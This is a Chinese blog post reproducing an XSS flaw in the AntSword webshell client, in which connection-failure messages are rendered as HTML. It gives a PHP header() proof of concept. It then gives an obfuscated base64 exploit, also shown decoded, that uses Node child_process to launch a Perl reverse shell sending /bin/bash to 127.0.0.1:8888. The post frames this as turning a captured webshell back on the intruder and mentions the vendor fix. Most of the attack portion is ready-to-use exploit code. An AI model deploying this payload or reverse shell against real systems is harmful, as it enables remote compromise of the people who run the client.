您的位置:首页 > 其它

中国蚁剑xss漏洞复现

2019-05-31 19:50 260 查看

中国蚁剑xss漏洞

漏洞成因:

当连接webshell失败时,会在中国蚁剑客户端会返回错误信息,但是由于没有对数据进行处理,使用的是html解析,导致xss,然后可以利用js调用perl便可反弹攻击者的shell。

漏洞复现:

当你的web站点被人getshell时,你可以尝试修改其webshell,利用该漏洞进而进行取证等操作。

xss漏洞触发:

<?php
header('HTTP/1.1 500 <img src=1 onerror=alert(1)>');

需要注意的是,只有当蚁剑客户端连接失败的时候才会触发该xss漏洞。比如你可以通过修改其一句话木马的密码导致其连接失败从而导致该xss漏洞触发。

利用该xss漏洞反弹shell:

exp:

<?php
header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTg4ODg7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>");
?>

base64_decode code

require('child_process').exec('perl -e \'use Socket;$i="127.0.0.1";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});

成功反弹入侵者shell:

官方修复方案:

为了防止插件中 toastr 出现类似问题, 修改了 toastr 可以输出 html 的特点,以后均不支持输出 html。

参考链接:

https://github.com/AntSwordProject/antSword/issues/147

https://www.jianshu.com/p/6457e8b4a16b

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: